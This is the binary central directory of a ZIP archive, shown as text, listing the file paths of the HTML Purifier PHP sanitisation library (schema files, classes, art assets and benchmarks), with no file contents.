j�$Z}]�� � I 96 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txtnu �[��� PK j�$Zn2J"� � N k8 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txtnu �[��� PK j�$Z^�
W_ _ P j< htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedAttributes.txtnu �[��� PK j�$Zk"� � X I? htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ConvertDocumentToFragment.txtnu �[��� PK j�$Z(��<� � L �A htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txtnu �[��� PK j�$Zy�- - K �B htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txtnu �[��� PK j�$Zs�ywJ J N �D htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txtnu �[��� PK j�$Zh�� H WF htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LexerImpl.txtnu �[��� PK j�$Zy(EA4 4 T �J htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txtnu �[��� PK j�$Z��i$ $ G �L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Language.txtnu �[��� PK j�$Z�E\� � U 6N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txtnu �[��� PK j�$Z )�9� � G RP htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ID.HTML5.txtnu �[��� PK j�$ZB�; ; K VR htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txtnu �[��� PK j�$Za�!�
�
C V htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txtnu �[��� PK j�$Z�p^� L Fa htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txtnu �[��� PK j�$Zg�o�� � F �c htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txtnu �[��� PK j�$Z1H��� � \ &f htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Escaping.txtnu �[��� PK j�$Z�f.�� � J �h htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txtnu �[��� PK j�$Z��? M �j htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txtnu �[��� PK j�$Z��
~v v N 3m htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txtnu �[��� PK j�$Zj�Ѵ1 1 M 'o htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoopener.txtnu �[��� PK j�$Z2�~N N O �p htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveInvalidImg.txtnu �[��� PK j�$ZE�i` S �r htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveScriptContents.txtnu �[��� PK j�$Z�c��� � N =t htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txtnu �[��� PK j�$Z��;Y� � Q �v htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Attr.Name.UseCDATA.txtnu �[��� PK j�$Z��r�� � M �x htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txtnu �[��� PK j�$Z:��� � H Mz htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.YouTube.txtnu �[��� PK j�$Z��~�� � K �| htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txtnu �[��� PK j�$ZI��(? ? M � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.HiddenElements.txtnu �[��� PK j�$Z� 1 O �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ForbiddenClasses.txtnu �[��� PK j�$Z�
� � I *� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txtnu �[��� PK j�$Z�~��
F G� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txtnu �[��� PK j�$Z4�Rn� � K Lj htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txtnu �[��� PK j�$Z �K� � L ,� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.CollectErrors.txtnu �[��� PK j�$Z+ �@ @ \ Y� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.TidyImpl.txtnu �[��� PK j�$Z�8HM- - > %� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ininu �[��� PK j�$ZN%�� � H �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txtnu �[��� PK j�$Z���= = S � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txtnu �[��� PK j�$Z��? � I ۔ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txtnu �[��� PK j�$Zv�jN� � F � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Allowed.txtnu �[��� PK j�$Z��ߝ: : E <� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txtnu �[��� PK j�$Z|GZ7 7 W � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeNonASCIICharacters.txtnu �[��� PK j�$Z�9FT- - U �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txtnu �[��� PK j�$Zb� c c L [� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txtnu �[��� PK j�$Z�G�� � [ :� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.RemoveProcessingInstructions.txtnu �[��� PK j�$ZO(�, , R S� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.MaintainLineNumbers.txtnu �[��� PK j�$Z^�Gf? ? V � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txtnu �[��� PK j�$Z�p�� � L ƫ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txtnu �[��� PK j�$Zg��_ _ J '� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txtnu �[��� PK j�$Z{��� � P � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txtnu �[��� PK j�$Z2%��T T R r� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txtnu �[��� PK j�$Z�,0�� � T H� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedCommentsRegexp.txtnu �[��� PK j�$ZV
N N J �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txtnu �[��� PK j�$Z����F F T [� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txtnu �[��� PK j�$Z�C�"� � [ %� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txtnu �[��� PK j�$Z�M��o o J q� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txtnu �[��� PK j�$Z�U}� � K Z� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txtnu �[��� PK j�$Z�&�0o o R �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.LegacyEntityDecoder.txtnu �[��� PK j�$Z�K� V �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txtnu �[��� PK j�$Z�u�n n J #� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txtnu �[��� PK j�$ZDvel P � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.NormalizeNewlines.txtnu �[��� PK j�$Z �|�� � L �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txtnu �[��� PK j�$Z��=� � E �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txtnu �[��� PK j�$Z��S M B� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowDuplicates.txtnu �[��� PK j�$Z���? E �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txtnu �[��� PK j�$Z禰/ / I W� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EnableIDNA.txtnu �[��� PK j�$Z��; ; K �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.BlockWrapper.txtnu �[��� PK j�$Z����= = P �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklistRegexp.txtnu �[��� PK j�$Z4��B B R r� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txtnu �[��� PK j�$Z��I�� � L 6� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txtnu �[��� PK j�$Z��^� � K F� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txtnu �[��� PK j�$Z�, � � G �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txtnu �[��� PK j�$ZR��� � J �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txtnu �[��� PK j�$Z�/�2 2 B � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txtnu �[��� PK j�$Z/��/� � G �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txtnu �[��� PK j�$Z7�}M� � N
� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DisableExcludes.txtnu �[��� PK j�$Z&+��� � P U� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidTags.txtnu �[��� PK j�$Z밉"� � K �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txtnu �[��� PK j�$Z�4*?l l f �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txtnu �[��� PK j�$Z8���A A Q �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowParseManyTags.txtnu �[��� PK j�$Z��-�� � I r� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txtnu �[��� PK j�$Z���~� � P �� htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txtnu �[��� PK j�$Z�Md8� � Y � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.Scope.txtnu �[��� PK j�$Z
�0& & M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultTextDir.txtnu �[��� PK j�$Z>�� � D � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txtnu �[��� PK j�$Z�{��r r N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedElements.txtnu �[��� PK j�$ZYT~s� � L � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txtnu �[��� PK j�$Zk 6 6 K a htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txtnu �[��� PK j�$Z]���
�
S
htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.ExtractStyleBlocks.txtnu �[��� PK j�$Z����� � K [ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txtnu �[��� PK j�$Z��b� � N � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txtnu �[��� PK j�$Z� � � I � htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txtnu �[��� PK j�$Z��7�f f H ; htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txtnu �[��� PK j�$Zo�*J J L htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.ColorKeywords.txtnu �[��� PK j�$Z_zf� L �0 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txtnu �[��� PK j�$Z�0�� � M l2 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedModules.txtnu �[��� PK j�$ZeP��% % V �5 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txtnu �[��� PK j�$Z?AZ� O j8 htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoreferrer.txtnu �[��� PK j�$Z�|�� L : htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txtnu �[��� PK j�$Z��}� � B �; htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txtnu �[��� PK j�$Z"��S
L �> htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txtnu �[��� PK j�$Z�gs�o o N @ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.AllowedComments.txtnu �[��� PK j�$Z�{ { J B htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDBlacklist.txtnu �[��� PK j�$Z��� � J �B htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txtnu �[��� PK j�$Z!m_R3 3 G eD htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Filter.Custom.txtnu �[��� PK j�$ZF#� S F htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txtnu �[��� PK j�$ZjW�p' ' a �G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txtnu �[��� PK j�$ZMު�� � Q iI htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txtnu �[��� PK j�$Zy B� � T �K htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.EscapeInvalidChildren.txtnu �[��� PK j�$ZET�j� � I 4N htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txtnu �[��� PK j�$ZE]�C� � G XO htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.Encoding.txtnu �[��� PK j�$Z���ƣ � F �R htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txtnu �[��� PK j�$Z
�+� � I �S htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txtnu �[��� PK j�$Z�B�
� � L ]V htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txtnu �[��� PK j�$ZId��� � < wZ htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.phpnu �[��� PK j�$Zk1 1 A �[ htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.phpnu �[��� PK j�$Z�P̛� � H '` htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.phpnu �[��� PK j�$Z/�L<^ <^ 9 Ph htmlpurifier/library/HTMLPurifier/ConfigSchema/schema.sernu �[��� PK j�$Z9��$ $ @ �� htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.phpnu �[��� PK j�$Z��� .# .# . �� htmlpurifier/library/HTMLPurifier/Injector.phpnu �[��� PK j�$ZQ�M�j j 8 � htmlpurifier/library/HTMLPurifier/ChildDef/Chameleon.phpnu �[��� PK j�$Z�?�db b ? � htmlpurifier/library/HTMLPurifier/ChildDef/StrictBlockquote.phpnu �[��� PK j�$Z��#�� � 4 � htmlpurifier/library/HTMLPurifier/ChildDef/Table.phpnu �[��� PK j�$Z+kĮb b 4 �% htmlpurifier/library/HTMLPurifier/ChildDef/Empty.phpnu �[��� PK j�$Z���Z� � 3 �) htmlpurifier/library/HTMLPurifier/ChildDef/List.phpnu �[��� PK j�$Z�)�� � 7 �5 htmlpurifier/library/HTMLPurifier/ChildDef/Optional.phpnu �[��� PK j�$Z���
7 ; htmlpurifier/library/HTMLPurifier/ChildDef/Required.phpnu �[��� PK j�$Z��+ӭ
�
5 H htmlpurifier/library/HTMLPurifier/ChildDef/Custom.phpnu �[��� PK j�$Z�1�W�' �' 0 �S htmlpurifier/library/HTMLPurifier/HTMLModule.phpnu �[��� PK j�$Z�"7t� � : �{ htmlpurifier/library/HTMLPurifier/Language/messages/en.phpnu �[��� PK j�$Z��r�� � E � htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.phpnu �[��� PK j�$Zz.�� � A Y� htmlpurifier/library/HTMLPurifier/Language/messages/en-x-test.phpnu �[��� PK j�$ZB� � � @ �� htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.phpnu �[��� PK j�$Z�%fe e 1 �� htmlpurifier/library/HTMLPurifier/ErrorStruct.phpnu �[��� PK j�$Z�S&� 2 L� htmlpurifier/library/HTMLPurifier/ConfigSchema.phpnu �[��� PK j�$ZAiȻ� � 4 �� htmlpurifier/library/HTMLPurifier/ErrorCollector.phpnu �[��� PK j�$Z ��D , �� htmlpurifier/library/HTMLPurifier/Length.phpnu �[��� PK j�$ZB� - - 8 a� htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.cssnu �[��� PK j�$Z�z�}�( �( < �� htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.phpnu �[��� PK j�$Z~5�� � ; ] htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.phpnu �[��� PK j�$Z�*5�� � 7 r htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.jsnu �[��� PK j�$Z�.)�9 �9 8 g
htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.phpnu �[��� PK j�$Z���> 1 �G htmlpurifier/library/HTMLPurifier/ContentSets.phpnu �[��� PK j�$Z�J�� � 3 ^ htmlpurifier/library/HTMLPurifier/AttrValidator.phpnu �[��� PK j�$Z�8@�� � . *x htmlpurifier/library/HTMLPurifier/Language.phpnu �[��� PK j�$Z�5�* * 4 6� htmlpurifier/library/HTMLPurifier/Filter/YouTube.phpnu �[��� PK j�$Z�y$5 $5 ? ė htmlpurifier/library/HTMLPurifier/Filter/ExtractStyleBlocks.phpnu �[��� PK j�$Z%�O - W� htmlpurifier/library/HTMLPurifier/Printer.phpnu �[��� PK j�$Z��Î�
�
/ �� htmlpurifier/library/HTMLPurifier/URIScheme.phpnu �[��� PK j�$Z./� �{ �{ , �� htmlpurifier/library/HTMLPurifier/Config.phpnu �[��� PK j�$Z6_,� � 8 �n htmlpurifier/library/HTMLPurifier/VarParserException.phpnu �[��� PK j�$Z�0��� � 5 �o htmlpurifier/library/HTMLPurifier/AttrCollections.phpnu �[��� PK j�$Zp���f f / �� htmlpurifier/library/HTMLPurifier/VarParser.phpnu �[��� PK j�$Z� �ʂ$ �$ @ htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer.phpnu �[��� PK j�$Z�8 �H H : �� htmlpurifier/library/HTMLPurifier/DefinitionCache/Null.phpnu �[��� PK j�$ZZ��݉ � K f� htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.innu �[��� PK j�$Z2��}
F j� htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Memory.phpnu �[��� PK j�$Zڢ�� � G �� htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.phpnu �[��� PK j�$Z��LK K ? � htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.phpnu �[��� PK j�$Z�eG` ` C �� htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/READMEnu �[��� PK j�$Z��5�f
f
3 �� htmlpurifier/library/HTMLPurifier/URIDefinition.phpnu �[��� PK j�$Z��e* * 5 Z� htmlpurifier/library/HTMLPurifier/URIScheme/https.phpnu �[��� PK j�$Z�EP�� � 4 � htmlpurifier/library/HTMLPurifier/URIScheme/file.phpnu �[��� PK j�$Z&�tX� � 3 I� htmlpurifier/library/HTMLPurifier/URIScheme/tel.phpnu �[��� PK j�$Zh
�վ � 4 D htmlpurifier/library/HTMLPurifier/URIScheme/news.phpnu �[��� PK j�$Z�4�� � 4 f htmlpurifier/library/HTMLPurifier/URIScheme/http.phpnu �[��� PK j�$Z<�t t 4 Y htmlpurifier/library/HTMLPurifier/URIScheme/nntp.phpnu �[��� PK j�$Z)(9ln n 3 1 htmlpurifier/library/HTMLPurifier/URIScheme/ftp.phpnu �[��� PK j�$Z~
~�} } 6 htmlpurifier/library/HTMLPurifier/URIScheme/mailto.phpnu �[��� PK j�$Z �"� 4 � htmlpurifier/library/HTMLPurifier/URIScheme/data.phpnu �[��� PK j�$ZLB�e� � 5 W% htmlpurifier/library/HTMLPurifier/LanguageFactory.phpnu �[��� PK j�$Z��7�i i 7 �? htmlpurifier/library/HTMLPurifier/URISchemeRegistry.phpnu �[��� PK j�$Z�I� � . fI htmlpurifier/library/HTMLPurifier/Strategy.phpnu �[��� PK j�$Z�a�� � 5 �L htmlpurifier/library/HTMLPurifier/DoctypeRegistry.phpnu �[��� PK j�$Z ȏ�a a : �] htmlpurifier/library/HTMLPurifier/PropertyListIterator.phpnu �[��� PK j�$Z-C� � + na htmlpurifier/library/HTMLPurifier/Token.phpnu �[��� PK j�$Z�&(�Q Q 0 zj htmlpurifier/library/HTMLPurifier/Definition.phpnu �[��� PK j�$Z�� 2 +p htmlpurifier/library/HTMLPurifier/TokenFactory.phpnu �[��� PK j�$Z&8�� ( ( / �| htmlpurifier/library/HTMLPurifier/Generator.phpnu �[��� PK j�$Z�� #Z Z , � htmlpurifier/library/HTMLPurifier/Zipper.phpnu �[��� PK j�$Zd��s < ȶ htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.phpnu �[��� PK j�$Z
��T� � > Q� htmlpurifier/library/HTMLPurifier/AttrTransform/Background.phpnu �[��� PK j�$Zrd;( : w� htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.phpnu �[��� PK j�$Z��X X 8 `� htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.phpnu �[��� PK j�$Zٽ�X D � htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoreferrer.phpnu �[��� PK j�$Z>��W W < �� htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.phpnu �[��� PK j�$Zd�ر( ( 8 _� htmlpurifier/library/HTMLPurifier/AttrTransform/Name.phpnu �[��� PK j�$Z$�2? ? = �� htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.phpnu �[��� PK j�$Z��� � = �� htmlpurifier/library/HTMLPurifier/AttrTransform/SafeParam.phpnu �[��� PK j�$Z'��m: : = �� htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.phpnu �[��� PK j�$Z� )A� � ; �� htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.phpnu �[��� PK j�$Z���U@ @ 9 �� htmlpurifier/library/HTMLPurifier/AttrTransform/Input.phpnu �[��� PK j�$Z��g�3 3 ? L� htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.phpnu �[��� PK j�$Z����� � : �� htmlpurifier/library/HTMLPurifier/AttrTransform/Length.phpnu �[��� PK j�$Z�J� < 0� htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.phpnu �[��� PK j�$ZI� �� � = �� htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.phpnu �[��� PK j�$Z�>^�a a > � htmlpurifier/library/HTMLPurifier/AttrTransform/SafeObject.phpnu �[��� PK j�$Z���s� � B � htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoopener.phpnu �[��� PK j�$ZF]� B htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.phpnu �[��� PK j�$ZdEŎ� � : � htmlpurifier/library/HTMLPurifier/AttrTransform/Border.phpnu �[��� PK j�$ZSI�D D ? � htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.phpnu �[��� PK j�$Z�#v v < N htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.phpnu �[��� PK j�$Z����J
J
- 0 htmlpurifier/library/HTMLPurifier/Context.phpnu �[��� PK j�$Z��W�� � �# htmlpurifier/TODOnu �[��� PK j�$Z�� ZY Y �> htmlpurifier/WYSIWYGnu �[��� PK j�$Z�}�� � eB htmlpurifier/art/icon-32x32.svgnu �[��� PK j�$Z�a��) ) ?U htmlpurifier/art/powered.pngnu �[��� PK j�$ZET�on$ n$ �V htmlpurifier/art/favicon.iconu �[��� PK j�$Z)�� � n{ htmlpurifier/art/icon-16x16.svgnu �[��� PK j�$Z��9 @� htmlpurifier/art/icon-64x64.pngnu �[��� PK j�$Z^��� � �� htmlpurifier/art/logo.svgnu �[��� PK j�$Z�X yg g �� htmlpurifier/art/icon-32x32.pngnu �[��� PK j�$Zy~U�~ ~ ;� htmlpurifier/art/icon-16x16.pngnu �[��� PK j�$Z��'�
�
� htmlpurifier/art/100cases.pngnu �[��� PK j�$Z��bb
b
� htmlpurifier/art/logo.pngnu �[��� PK j�$Zn��
�
�� htmlpurifier/art/1000passes.pngnu �[��� PK j�$Z
���F' F' �� htmlpurifier/art/logo-large.pngnu �[��� PK j�$Z��� ! R� htmlpurifier/benchmarks/.htaccessnu �[��� PK j�$ZZ bx x ! �� htmlpurifier/benchmarks/Lexer.phpnu �[��� PK j�$Z���}� � ( z htmlpurifier/benchmarks/ConfigSchema.phpnu �[��� PK j�$Z�t[�� � ! T htmlpurifier/benchmarks/Trace.phpnu �[��� PK j�$Z���һ � , �
htmlpurifier/benchmarks/samples/Lexer/3.htmlnu �[��� PK j�$Z���� � , �" htmlpurifier/benchmarks/samples/Lexer/4.htmlnu �[��� PK j�$ZXS�UA A , �& htmlpurifier/benchmarks/samples/Lexer/1.htmlnu �[��� PK j�$Z
��.� � , R7 htmlpurifier/benchmarks/samples/Lexer/2.htmlnu �[��� PK j�$Z�#�:� � 4 yD htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txtnu �[��� PK j�$Z]W )n
n
�E htmlpurifier/release1-update.phpnu �[��� PK ���� YP